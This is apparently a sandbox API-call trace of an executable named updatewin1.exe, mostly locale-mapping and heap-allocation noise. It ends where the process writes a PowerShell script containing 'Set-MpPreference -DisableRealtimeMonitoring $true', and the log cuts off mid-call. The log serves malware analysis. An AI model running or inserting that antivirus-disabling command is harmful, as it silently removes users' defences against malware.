\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0052.527] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18ee0c | out: lpCharType=0x18ee0c) returned 1 [0052.527] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.527] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb48, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā") returned 256 [0052.527] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0052.527] GetLastError () returned 0x57 [0052.528] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0052.528] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0052.528] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā", cchSrc=256, lpDestStr=0x18e938, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0052.528] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18f30c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xe7\x36\x23\x44\x48\xf5\x18", lpUsedDefaultChar=0x0) returned 256 [0052.528] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0052.528] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb68, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0052.528] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0052.528] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18e958, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0052.528] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18f20c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xe7\x36\x23\x44\x48\xf5\x18", lpUsedDefaultChar=0x0) returned 256 [0052.528] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x59a0d8 [0052.528] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x416cb8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe")) returned 0x5f [0052.528] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xdc) returned 0x59c168 [0052.528] RtlInitializeSListHead (in: ListHead=0x416bd8 | out: ListHead=0x416bd8) [0052.528] GetLastError () returned 0x0 [0052.528] SetLastError (dwErrCode=0x0) [0052.528] GetEnvironmentStringsW () returned 0x59c250* [0052.528] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xaca) returned 0x59cd28 [0052.528] FreeEnvironmentStringsW (penv=0x59c250) returned 1 [0052.528] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x98) returned 0x59c250 [0052.528] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x3e) returned 0x59c2f0 [0052.528] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x6c) returned 0x59c338 [0052.528] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x6e) returned 0x59c3b0 [0052.528] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x78) returned 0x581188 [0052.528] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x62) returned 0x59c428 [0052.528] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2e) returned 0x5852d8 [0052.528] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x48) returned 0x59c498 [0052.528] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x28) returned 0x59a160 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1a) returned 0x59bd18 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x4a) returned 0x59c4e8 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x72) returned 0x581208 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x30) returned 0x585310 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2e) returned 0x585348 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1c) returned 0x59bd40 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xd2) returned 0x59c540 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x7c) returned 0x59c620 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x36) returned 0x59c6a8 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x3a) returned 0x59c6e8 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x90) returned 0x59c730 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x24) returned 0x59c7c8 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x30) returned 0x585380 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x36) returned 0x59c7f8 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x48) returned 0x59c838 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x52) returned 0x59c888 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x3c) returned 0x59d818 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x82) returned 0x59c8e8 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2e) returned 0x5853b8 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x1e) returned 0x59bd68 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2c) returned 0x5853f0 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x54) returned 0x59c978 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x52) returned 0x59c9d8 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x2a) returned 0x585428 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x3c) returned 0x59d860 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x54) returned 0x59ca38 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x24) returned 0x59ca98 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x30) returned 0x585460 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x8c) returned 0x59cac8 [0052.529] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59cd28 | out: hHeap=0x570000) returned 1 [0052.529] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x800) returned 0x59cb60 [0052.529] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0052.529] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402ae4) returned 0x404e59 [0052.530] GetStartupInfoW (in: lpStartupInfo=0x18f578 | out: lpStartupInfo=0x18f578*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0052.530] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe\" --Admin" [0052.530] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe\" --Admin", pNumArgs=0x18e580 | out: pNumArgs=0x18e580) returned 0x59d368*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\5f157674-79c2-4ded-9dab-75219d8fb8ff\\updatewin1.exe" [0052.530] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x18d8ec | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0052.536] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", pMore="script.ps1" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\script.ps1") returned 1 [0052.536] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\script.ps1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\script.ps1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa8 [0052.537] lstrcpyA (in: lpString1=0x18e0ec, lpString2="Set-MpPreference -DisableRealtimeMonitoring $true" | out: lpString1="Set-MpPreference -DisableRealtimeMonitoring $true") returned="Set-MpPreference -DisableRealtimeMonitoring $true" [0052.537] lstrlenA (lpString="Set-MpPreference -DisableRealtimeMonitoring $true") returned 49 [0052.537] WriteFile (in: hFile=0xa8, lpBuffer=0x18e0ec*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0x18d8e8, lpOverlapped=0x0 | out: 